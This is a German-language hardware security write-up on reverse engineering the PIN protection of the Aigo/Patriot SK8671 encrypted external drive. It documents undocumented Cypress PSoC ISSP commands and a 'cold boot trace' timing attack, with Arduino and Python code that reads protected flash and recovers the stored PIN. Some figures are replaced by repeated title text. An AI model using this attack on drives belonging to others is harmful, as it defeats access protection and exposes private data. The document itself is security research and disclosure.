Reverse Engineering und Hacken des selbstverschlüsselnden externen HDD-Datenträgers Aigo. Teil 2: Dump vom Cypress PSoC erstellen

Dies ist der zweite und abschließende Teil des Artikels über das Hacken von externen selbstverschlüsselnden Laufwerken. Ich erinnere daran, dass mir kürzlich ein Patriot (Aigo) SK8671 Festplattengerät übergeben wurde, und ich entschied mich, es zu reversieren. Jetzt teile ich, was daraus geworden ist. Bevor Sie weiterlesen, sollten Sie sich unbedingt mit dem ersten Teil des Artikels gehen.

4. Wir beginnen mit dem Auslesen des Dumps vom internen PSoC-Flash
5. ISSP-Protokoll
– 5.1. Was ist ISSP
– 5.2. Entmythologisierung von Vektoren
– 5.3. Kommunikation mit PSoC
– 5.4. Identifizierung der internen Chipregister
– 5.5. Schutzbits
6. Erster (misslungener) Angriff: ROMX
7. Zweiter Angriff: Tracing mit Kaltneustart
– 7.1. Implementierung
– 7.2. Ergebnisse auslesen
– 7.3. Rekonstruktion des Flash-Binaries
– 7.4. Adresse des PIN-Codes finden
– 7.5. Dump des Blocks Nr. 126 auslesen
– 7.6. Wiederherstellung des PIN-Codes
8. Was kommt als Nächstes?
9. Fazit

Reverse Engineering und Hacken des selbstverschlüsselnden externen HDD-Datenträgers Aigo. Teil 2: Dump vom Cypress PSoC erstellen


4. Wir beginnen mit dem Auslesen des Dumps vom internen PSoC-Flash

Somit deutet alles darauf hin (wie wir in [dem ersten Teil]() festgestellt haben), dass der PIN-Code in den Flash-Tiefen des PSoC gespeichert ist. Daher müssen wir diese Flash-Tiefen lesen. Wartende Aufgaben sind:

  • die Kontrolle über die "Kommunikation" mit dem Mikrocontroller übernehmen;
  • einen Weg finden, um zu überprüfen, ob diese "Kommunikation" vor externem Auslesen geschützt ist;
  • eine Möglichkeit zur Umgehung des Schutzes finden.

Es gibt zwei Orte, an denen es sinnvoll ist, nach einem aktiven PIN-Code zu suchen:

  • internen Flash-Speicher;
  • SRAM, wo der PIN-Code gespeichert werden kann, um ihn mit dem vom Benutzer eingegebenen PIN-Code zu vergleichen.

Vorweg möchte ich erwähnen, dass es mir gelungen ist, ein Dump des internen Flashspeichers des PSoC zu erstellen – indem ich ihre Schutzmaßnahmen durch eine Hardware-Attacke mit "Cold Boot Trace" umgangen habe – nach dem Reverse Engineering der undocumented Funktionen des ISSP-Protokolls. Dies ermöglichte es mir, direkt das Dump des aktiven PIN-Codes abzurufen.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Der endgültige Programmcode:

5. ISSP-Protokoll

5.1. Was ist ISSP

Die "Kommunikation" mit dem Mikrocontroller kann verschiedene Bedeutungen haben: von "Hersteller zu Hersteller" bis hin zu Interaktionen unter Verwendung eines seriellen Protokolls (zum Beispiel ICSP für Microchips PIC).

Für Cypress gibt es dafür ein eigenes proprietäres Protokoll, das ISSP (In-System Serial Programming Protocol; In-System-Sequenzierungs-Protokoll) genannt wird, das teilweise in der technischen Spezifikation. Patent US7185162 gibt auch einige Informationen. Es gibt auch ein Open-Source-Äquivalent namens HSSP (wir werden es später verwenden). ISSP funktioniert folgendermaßen:

  • PSoC neu starten;
  • die magische Zahl an den Datenpin dieses PSoC ausgeben; um in den externen Programmiermodus zu gelangen;
  • Befehle senden, die lange Bit-Strings darstellen, die als „Vektoren“ bezeichnet werden.

In der Dokumentation zu ISSP sind diese Vektoren nur für eine kleine Anzahl von Befehlen definiert:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (Varianten 3V und 5V)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, wobei dddddddd=Block #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, wobei DDDDDDDD = Daten aus, aaaaaa = Adresse (6 Bit)
  • WRITE-BYTE: 10010aaaaaadddddddd111, wobei dddddddd = Daten hinein, aaaaaa = Adresse (6 Bit)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, wobei DDDDDDDDDDDDDDDD = Daten aus: Prüfziffer des Geräts
  • ERASE BLOCK

Zum Beispiel, der Vektor für Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Alle Vektoren haben die gleiche Länge: 22 Bit. In der Dokumentation zu HSSP gibt es einige zusätzliche Informationen zu ISSP: „ISSP-Vektor ist nichts anderes als eine Bitfolge, die ein Set von Anweisungen darstellt.“

5.2. Entmystifizierung der Vektoren

Lassen Sie uns herausfinden, was hier vor sich geht. Zunächst nahm ich an, dass diese Vektoren die Rohvarianten der M8C-Instruktionen darstellen, aber nach Überprüfung dieser Hypothese stellte ich fest, dass die Op-Codes nicht übereinstimmen.

Dann habe ich den obigen Vektor gegoogelt und bin auf dieses gestoßen Forschung, in der der Autor, obwohl er nicht ins Detail geht, einige nützliche Hinweise gibt: „Jede Instruktion beginnt mit drei Bits, die einer der vier Mnemoniken entsprechen (lesen aus dem RAM, schreiben ins RAM, lesen aus dem Register, schreiben ins Register). Danach folgt eine 8-Bit-Adresse, gefolgt von 8 Bits Daten (entweder gelesen oder zum Schreiben) und schließlich drei Stop-Bits.“

Anschließend konnte ich sehr nützliche Informationen aus dem Abschnitt „Supervisory ROM (SROM)“ des technischen Handbuchs. SROM ist eine fest codierte ROM im PSoC, die Dienstfunktionen bereitstellt (ähnlich wie Syscall) – für den in der Benutzerebene ausgeführten Programmcode:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

Durch den Vergleich der Vektornamen mit den SROM-Funktionen können wir die verschiedenen Operationen, die von diesem Protokoll unterstützt werden, mit den erwarteten SROM-Parametern abgleichen. Dadurch sind wir in der Lage, die ersten drei Bits der ISSP-Vektoren zu dekodieren:

  • 100 => "wrmem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Ein vollständiges Verständnis der innerchiplichen Prozesse können wir jedoch nur durch direkte Kommunikation mit dem PSoC erreichen.

5.3. Kommunikation mit dem PSoC

Da Dirk Petrautsky bereits portiert den Cypress HSSP-Code auf Arduino entwickelt hat, habe ich ein Arduino Uno verwendet, um eine Verbindung zum ISSP-Anschluss der Tastaturtafel herzustellen.

Bitte beachten Sie, dass ich während meiner Untersuchungen den Code von Dirk erheblich geändert habe. Meine Modifikation finden Sie auf GitHub: hier und das entsprechende Python-Skript zur Kommunikation mit Arduino in meinem Repository cypress_psoc_tools.

Also, unter Verwendung von Arduino habe ich zuerst nur die "offiziellen" Vektoren für die Kommunikation verwendet. Ich habe versucht, den inneren ROM mit dem Befehl VERIFY zu lesen. Wie erwartet, war mir das nicht möglich, wahrscheinlich weil in der Flash-Speicher die Leseschutzbits aktiviert sind.

Dann habe ich einige einfache Vektoren erstellt, um Speicher/Register zu lesen und zu schreiben. Beachten Sie, dass wir den gesamten SROM lesen können, obwohl der Flash-Speicher geschützt ist!

5.4. Identifikation der internen Chip-Register

Nachdem ich mir die «disassemblierten» Vektoren angesehen hatte, stellte ich fest, dass das Gerät undokumentierte Register (0xF8-0xFA) verwendet, um M8C-Opcode anzugeben, die direkt und um den Schutz herum ausgeführt werden. Dies ermöglichte es mir, verschiedene Opcodes wie «ADD», «MOV A, X», «PUSH» oder «JMP» auszuführen. Anhand der Nebenwirkungen, die sie auf die Register hatten, konnte ich bestimmen, welche dieser undokumentierten Register tatsächlich gewöhnliche Register (A, X, SP und PC) sind.

Insgesamt sieht der von dem Tool HSSP_disas.rb generierte «disassemblierte» Code so aus (zur Klarheit habe ich Kommentare hinzugefügt):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # Flags zurücksetzen
[DE C0 1C] wrreg SP (f6), 0x00      # SP zurücksetzen
[9F 07 5C] wrmem KEY1, 0x3A     # Erforderliches Argument für SSC
[9F 20 7C] wrmem KEY2, 0x03     # Analog dazu
[DE A0 1C] wrreg PCh (f5), 0x00     # PC (MSB) zurücksetzen ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... bis 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-Zeiger für Ausgabedaten
[DF 26 1C] wrreg opc1 (f9), 0x30        # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK-ID für SSC-Aufruf
[DE 00 DC] wrreg A (f0), 0x06       # "Syscall" Nummer: TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Opcode für SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Undokumentierte Operation: externen Opcode ausführen

5.5. Schutzbits

In diesem Stadium kann ich bereits mit dem PSoC kommunizieren, aber ich habe immer noch keine genauen Informationen über die Schutzbits des Flash-Speichers. Ich war sehr überrascht, dass Cypress dem Benutzer keine Mittel zur Verfügung stellt, um zu überprüfen, ob der Schutz aktiviert ist. Ich habe bei Google nachgeforscht, um endgültig zu verstehen, dass der von Cypress bereitgestellte HSSP-Code bereits nach der Veröffentlichung von Dirks Modifikation aktualisiert wurde. Und hier ist er! Ein neuer Vektor ist aufgetaucht:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # unbekannte Argumente
[9F E0 1C] wrmem 0xFF, 0x00 # ebenso
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # undocumented syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Durch die Verwendung dieses Vektors (siehe read_security_data in psoc.py) erhalten wir alle Schutzbits im SRAM bei 0x80, wobei auf jeden geschützten Block zwei Bits entfallen.

Das Ergebnis ist enttäuschend: Alles ist im Modus 'externes Lesen und Schreiben deaktivieren' geschützt. Daher können wir nicht nur nichts von der Flash-Quelle lesen, sondern auch nicht schreiben (zum Beispiel um einen ROM-Dumper dort einzufügen). Der einzige Weg, den Schutz zu deaktivieren, besteht darin, den gesamten Chip vollständig zu löschen. 🙁

6. Erster (misslungener) Angriff: ROMX

Wir können jedoch versuchen, den folgenden Trick auszuführen: Da wir die Möglichkeit haben, beliebige Opcodes auszuführen, warum nicht den ROMX-Befehl einsetzen, der zum Lesen von Flash-Speicher verwendet wird? Dieser Ansatz hat gute Erfolgschancen. Denn die Funktion ReadBlock, die Daten aus dem SROM (das von den Vektoren verwendet wird) liest, überprüft, ob sie aus dem ISSP aufgerufen wird. Der Opcode ROMX hingegen hat möglicherweise keine solche Überprüfung. Hier ist der Python-Code (nachdem ich einige Hilfsklassen im C-haltigen Arduino-Code hinzugefügt habe):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Leider funktioniert dieser Code nicht. 🙁 Er funktioniert zwar, aber wir erhalten als Ausgabe unsere eigenen Opcodes (0x28 0x30 0x40)! Ich glaube nicht, dass die entsprechende Funktionalität des Geräts ein Element des Kopierschutzes ist. Es scheint eher ein Ingenieur-Trick zu sein: Bei der Ausführung externer Opcodes wird der ROM-Bus auf einen Puffer umgeleitet.

7. Zweiter Angriff: Tracing mit Kaltneustart

Da der Trick mit ROMX nicht funktioniert hat, begann ich, eine andere Variante dieses Tricks zu durchdenken – beschrieben in der Veröffentlichung „Zu viel Licht auf den Firmware-Schutz eines Mikrocontrollers werfen“.

7.1. Implementierung

In der Dokumentation zu ISSP wird der folgende Vektor für CHECKSUM-SETUP angegeben:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Hier wird im Wesentlichen die SROM-Funktion 0x07 aufgerufen, wie in der Dokumentation dargestellt (Kursivschrift von mir):

Diese Funktion überprüft die Prüfziffer. Sie berechnet die 16-Bit-Prüfziffer der vom Benutzer angegebenen Anzahl von Blöcken – in einem Flash-Speicher, beginnend bei Null. Der Parameter BLOCKID wird verwendet, um die Anzahl der Blöcke zu übergeben, die zur Berechnung der Prüfziffer verwendet wird. Der Wert „1“ berechnet die Prüfziffer nur für den Nullblock; während „0“ dazu führt, dass die gesamte Prüfziffer aller 256 Blöcke des Flash-Speichers berechnet wird. Die 16-Bit-Prüfziffer wird über KEY1 und KEY2 zurückgegeben. Im Parameter KEY1 werden die letzten 8 Bits der Prüfziffer gespeichert, während in KEY2 die ersten 8 Bits abgelegt sind. Bei Geräten mit mehreren Flash-Bänken wird die Prüfziffer für jeden einzelnen aufgerufen. Die Banknummer, mit der gearbeitet wird, wird im Register FLS_PR1 festgelegt, indem das Bit aktiviert wird, das dem Ziel-Flash-Bank entspricht.

Bitte beachten Sie, dass dies eine sehr einfache Prüfziffer ist: Die Bytes werden einfach nacheinander summiert; es gibt keine ausgeklügelten CRC-Tricks. Zudem habe ich, unter Berücksichtigung der Tatsache, dass im M8C-Kern die Register sehr begrenzt sind, angenommen, dass die Zwischenergebnisse bei der Berechnung der Prüfziffer in denselben Variablen gespeichert werden, die letztendlich ausgegeben werden: KEY1 (0xF8) / KEY2 (0xF9).

Theoretisch sieht mein Angriff folgendermaßen aus:

  1. Wir verbinden uns über ISSP.
  2. Wir starten die Berechnung der Prüfziffer unter Verwendung des Vektors CHECKSUM-SETUP.
  3. Wir starten den Prozessor nach einer festgelegten Zeit T neu.
  4. Wir lesen den RAM aus, um die aktuelle Prüfziffer C zu erhalten.
  5. Wir wiederholen die Schritte 3 und 4, wobei wir jedes Mal T etwas erhöhen.
  6. Wir stellen die Daten von der Flash-Karte wieder her, indem wir die vorherige Prüfziffer C von der aktuellen abziehen.

Es gab jedoch ein Problem: Der Vektor Initialize-1, den wir nach dem Neustart senden müssen, überschreibt KEY1 und KEY2:

1100101000000000000000  # Magie, die PSoC in den Programmiermodus versetzt
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # Prüfziffer wird hier überschrieben
[9F 20 7C] wrmem KEY2, 0x03 # und hier
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-Funktion 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dieser Code überschreibt unsere wertvolle Prüfziffer und ruft Calibrate1 (SROM-Funktion 9) auf… Vielleicht können wir einfach, indem wir die magische Zahl (aus dem Anfang des obigen Codes) senden, in den Programmiermodus gelangen und dann SRAM auslesen? Und ja, es funktioniert! Der Arduino-Code, der diesen Angriff umsetzt, ist ziemlich einfach:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Lese checksum_delay.
  2. Checksum-Berechnung starten (send_checksum_v).
  3. Warten Sie den festgelegten Zeitraum, unter Berücksichtigung der folgenden Fallstricke:
    • Ich habe viel Zeit verloren, bis ich herausfand, dass delayMicroseconds nur mit Verzögerungen von höchstens 16383 µs korrekt funktioniert;
    • und dann habe ich genauso viel Zeit verloren, bis ich entdeckte, dass delayMicroseconds, wenn 0 übergeben wird, völlig falsch arbeitet!
  4. PSoC im Programmiermodus neu starten (einfach die magische Zahl senden, ohne Initialisierungsvektoren zu senden).

Endgültiger Code in Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Kurz gesagt, was dieser Code macht:

  1. Startet den PSoC neu (und sendet ihm eine magische Zahl).
  2. Sendet vollständige Initialisierungsvektoren.
  3. Ruft die Arduino-Funktion Cmnd_STK_START_CSUM (0x85) auf, wobei die Verzögerung in Mikrosekunden als Parameter übergeben wird.
  4. Liest die Prüfziffer (0xF8 und 0xF9) und das undokumentierte Register 0xF1.

Dieser Code wird 10 Mal pro Mikrosekunde ausgeführt. 0xF1 ist hier enthalten, da es das einzige Register war, das sich während der Berechnung der Prüfziffer geändert hat. Möglicherweise handelt es sich um eine temporäre Variable, die von der arithmetisch-logischen Einheit verwendet wird. Beachten Sie den hässlichen Hack, den ich benutze, um das Arduino neu zu starten, wenn es keine Lebenszeichen mehr von sich gibt (ich habe keine Ahnung, warum).

7.2. Ergebnis ablesen

Das Ergebnis des Python-Skripts sieht so aus (zur besseren Lesbarkeit vereinfacht):

DELAY F1 F8 F9  # F1 – oben genannter unbekannter Register
                  # F8 niederer Byte der Prüfziffer
                  # F9 höherer Byte der Prüfziffer

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # Prüfziffer wird auf 0 zurückgesetzt
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1. Byte: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2. Byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # Ich habe keine Ahnung, was hier passiert
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Wieder E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Hmmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # Ah, jetzt verstehe ich! Hier wird ins höhere Byte übertragen
00063 01 17 01
[...]
00075 CC 17 01  # Also, 0x117-0xE7: 0x30

Wir stehen vor einem Problem: Da wir mit einem tatsächlichen Prüfziffer arbeiten, beeinflusst ein Nullbyte den gelesenen Wert nicht. Da jedoch der gesamte Berechnungsprozess (8192 Bytes) ungefähr 0,1478 Sekunden dauert (mit kleinen Abweichungen bei jedem Durchlauf), was etwa 18,04 µs pro Byte entspricht, können wir diese Zeit nutzen, um den Wert der Prüfziffer zu geeigneten Zeitpunkten zu überprüfen. Für die ersten Durchläufe ist das Auslesen recht einfach, da die Ausführungsdauer der Berechnungsprozedur praktisch immer gleich bleibt. Am Ende dieses Dumps wird es jedoch weniger genau, da sich die „geringen zeitlichen Abweichungen“ bei jedem Durchlauf summieren und signifikant werden:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Das sind 10 Dumps für jede Mikrosekundenverzögerung. Die Gesamtzeit für das Auslesen des Dumps aller 8192 Bytes des Flash-Speichers beträgt etwa 48 Stunden.

7.3. Rekonstruktion des Flash-Binärcodes

Ich habe den Code zur vollständigen Rekonstruktion des Softwarecodes des Flash-Speichers, unter Berücksichtigung aller zeitlichen Abweichungen, noch nicht abgeschlossen. Allerdings habe ich bereits den Anfang dieses Codes wiederhergestellt. Um sicherzustellen, dass ich dies korrekt gemacht habe, habe ich ihn mit Hilfe von m8cdis disassembliert:

0000: 80 67   jmp  0068h     ; Resetvektor
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging-Modus wurde von 3 auf 0 geändert
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Sieht durchaus glaubwürdig aus!

7.4. Speicheradresse des PIN-Codes finden

Jetzt, da wir die Prüfziffer zu den von uns benötigten Zeitpunkten lesen können, können wir leicht überprüfen, wie und wo sie sich ändert, wenn wir:

  • einen falschen PIN-Code eingeben;
  • den PIN-Code ändern.

Zunächst, um die ungefähre Speicheradresse zu finden, habe ich einen Hashdump mit einem Intervall von 10 ms nach dem Neustart erstellt. Dann habe ich einen falschen PIN-Code eingegeben und dasselbe wiederholt.

Das Ergebnis war nicht sonderlich erfreulich, da es viele Veränderungen gab. Letztendlich konnte ich jedoch feststellen, dass sich die Prüfziffer irgendwo zwischen 120000 µs und 140000 µs Verzögerung geändert hat. Der „PIN-Code“, den ich dort entdeckte, war jedoch völlig falsch – aufgrund eines Artefakts der Funktion delayMicroseconds, die merkwürdige Dinge anstellt, wenn ihr 0 übergeben wird.

Nach fast 3 Stunden fiel mir ein, dass der SROM-Systemaufruf CheckSum einen Parameter erhält, der die Anzahl der Blöcke für die Prüfziffer angibt! So können wir problemlos die Speicheradresse des PIN-Codes und des Zählers für „falsche Versuche“ lokalisieren – bis auf einen 64-Byte-Block genau.

Meine ursprünglichen Durchläufe ergaben folgendes Ergebnis:

Reverse Engineering und Hacken des selbstverschlüsselnden externen HDD-Datenträgers Aigo. Teil 2: Dump vom Cypress PSoC erstellen

Dann habe ich den PIN-Code von „123456“ auf „1234567“ geändert und erhielt:

Reverse Engineering und Hacken des selbstverschlüsselnden externen HDD-Datenträgers Aigo. Teil 2: Dump vom Cypress PSoC erstellen

Somit scheinen der PIN-Code und der Zähler für falsche Versuche im Block Nr. 126 gespeichert zu sein.

7.5. Wir erstellen einen Dump des Blocks Nr. 126

Block №126 sollte irgendwo im Bereich von 125x64x18 = 144000 µs liegen, beginnend mit der Berechnung der Prüfziffer in meinem vollständigen Dump, und sieht durchaus plausibel aus. Danach, nach dem manuellen Aussortieren zahlreicher falscher Dumps (wegen der Ansammlung von "geringen zeitlichen Abweichungen"), habe ich am Ende folgende Bytes erhalten (bei einer Verzögerung von 145527 µs):

Reverse Engineering und Hacken des selbstverschlüsselnden externen HDD-Datenträgers Aigo. Teil 2: Dump vom Cypress PSoC erstellen

Es ist ganz klar, dass der PIN-Code unverschlüsselt gespeichert wird! Diese Werte sind zwar nicht in ASCII-Codes, spiegeln jedoch die Messwerte wider, die von der kapazitiven Tastatur erfasst wurden.

Schließlich habe ich noch einige Tests durchgeführt, um herauszufinden, wo der Zähler für falsche Versuche gespeichert ist. Hier ist das Ergebnis:

Reverse Engineering und Hacken des selbstverschlüsselnden externen HDD-Datenträgers Aigo. Teil 2: Dump vom Cypress PSoC erstellen

0xFF – bedeutet "15 Versuche", und dieser Wert verringert sich bei jedem falschen Versuch.

7.6. Wiederherstellung des PIN-Codes

Hier ist mein hässlicher Code, der alles oben Genannte zusammenfügt:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Hier ist das Ergebnis seiner Ausführung:

$ ./psoc.py 
syncing: KO OK
PSoC zurücksetzen: KO PSoC zurücksetzen: KO PSoC zurücksetzen: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurra! Es funktioniert!

Bitte beachten Sie, dass die von mir verwendeten Verzögerungswerte wahrscheinlich nur für einen bestimmten PSoC gelten – den, den ich verwendet habe.

8. Was kommt als Nächstes?

Fassen wir also die Ergebnisse auf der PSoC-Seite im Zusammenhang mit unserem Aigo-Speicher zusammen:

  • Wir können SRAM lesen, selbst wenn es vor dem Auslesen geschützt ist;
  • Wir können den Lese-Schutz durch einen "Cold Boot Trace"-Angriff umgehen und den PIN direkt auslesen.

Dennoch hat unser Angriff einige Mängel – aufgrund von Synchronisierungsproblemen. Dieser könnte folgendermaßen verbessert werden:

  • Ein Tool schreiben, um die Ausgabedaten, die durch den "Cold Boot Trace"-Angriff erhalten wurden, korrekt zu dekodieren;
  • FPGA-Anpassungen verwenden, um genauere Verzögerungen zu schaffen (oder Hardware-Timer von Arduino zu nutzen);
  • einen weiteren Angriff versuchen: einen absichtlich falschen PIN-Code eingeben, neu starten und den RAM dumpen, in der Hoffnung, dass der richtige PIN-Code im RAM gespeichert bleibt, um ihn zu vergleichen. Allerdings ist das bei Arduino nicht so einfach, da das Signalniveau von Arduino 5 Volt beträgt, während das von uns untersuchte Board mit 3,3 Volt-Signalen arbeitet.

Eine interessante Idee wäre es, mit den Spannungsebenen zu spielen, um den Leseschutz zu umgehen. Wenn dieser Ansatz funktionieren würde, könnten wir absolute präzise Daten vom Flash-Speicher abrufen – anstatt uns auf die lesenden Prüfziffern mit ungenauen Zeitverzögerungen zu verlassen.

Da SROM wahrscheinlich die Schutzbits über den Systemaufruf ReadBlock liest, könnten wir dasselbe tun, was beschrieben im Blog von Dmitry Nedospasov beschrieben ist – eine erneute Durchführung des Angriffs von Chris Gerlinsky, der auf der Konferenz "REcon Brussels 2017" angekündigt wurde.

Eine weitere interessante Sache, die man tun könnte, wäre es, das Gehäuse des Chips abzutragen: um einen SRAM-Dump zu erstellen, undocumented Systemaufrufe und Schwachstellen zu identifizieren.

9. Fazit

Die Sicherheit dieses Speichermediums lässt zu wünschen übrig, da es einen gewöhnlichen (nicht 'gehärteten') Mikrocontroller für die Speicherung des PIN-Codes verwendet... Außerdem habe ich bisher nicht geprüft, wie es mit der Datenverschlüsselung auf diesem Gerät aussieht!

Was lässt sich für Aigo empfehlen? Nachdem ich ein paar Modelle von verschlüsselten HDDs analysiert habe, habe ich 2015 ein der Präsentation Paper auf SyScan veröffentlicht, in dem ich Sicherheitsprobleme mehrerer externer HDDs untersucht habe und Empfehlungen ausgesprochen habe, wie man diese verbessern könnte. 🙂

